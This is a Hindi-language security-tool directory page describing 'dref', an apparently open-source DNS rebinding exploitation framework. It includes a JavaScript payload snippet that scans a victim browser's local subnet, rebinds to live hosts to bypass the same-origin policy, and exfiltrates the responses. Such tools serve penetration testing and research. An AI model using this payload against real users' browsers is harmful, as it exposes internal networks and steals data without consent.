Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
dref — DNS पुनःबंधन शोषण ढांचा | Kitploit
उपकरण/GitHubGitHub/reverseclabs/dref
IoT सुरक्षाशोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगरेड टीमिंगDNS विश्लेषण
GitHubreverseclabs/dref

dref

DNS पुनःबंधन शोषण ढांचा

रिपॉजिटरी देखें
494715 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

DNS रीबाइंडिंग शोषण ढांचा

यह प्रोजेक्ट अब अनुरक्षित नहीं है।

dref DNS रीबाइंडिंग के लिए भारी काम करता है। नीचे इसके अंतर्निहित पेलोड में से एक स्निपेट दिखाता है कि कैसे ढांचे का उपयोग एक संलग्न ब्राउज़र से स्थानीय सबनेट को स्कैन करने के लिए किया जाता है; लाइव वेब सेवाओं की पहचान करने के बाद यह GET प्रतिक्रियाओं को बाहर निकालता है, समान-उत्पत्ति नीति को आसानी से पार करता है:

root@kitploit:~
// mainFrame() runs first
async function mainFrame () {
  // We use some tricks to derive the browser's local /24 subnet
  const localSubnet = await network.getLocalSubnet(24)

  // We use some more tricks to scan a couple of ports across the subnet
  netmap.tcpScan(localSubnet, [80, 8080]).then(results => {
    // We launch the rebind attack on live targets
    for (let h of results.hosts) {
      for (let p of h.ports) {
        if (p.open) session.createRebindFrame(h.host, p.port)
      }
    }
  })
}

// rebindFrame() will have target ip:port as origin
function rebindFrame () {
  // After this we'll have bypassed the Same-Origin policy
  session.triggerRebind().then(() => {
    // We can now read the response across origin...
    network.get(session.baseURL, {
      successCb: (code, headers, body) => {
        // ... and exfiltrate it
        session.log({code: code, headers: headers, body: body})
      }
    })
  })
}










आरंभ करने के लिए विकी पर जाएं या एक व्यावहारिक उपयोग मामले के लिए हेडलेस ब्राउज़रों पर dref के हमले को देखें।

यह एक विकास रिलीज़ है - उत्पादन में उपयोग न करें

टूल डाउनलोड करें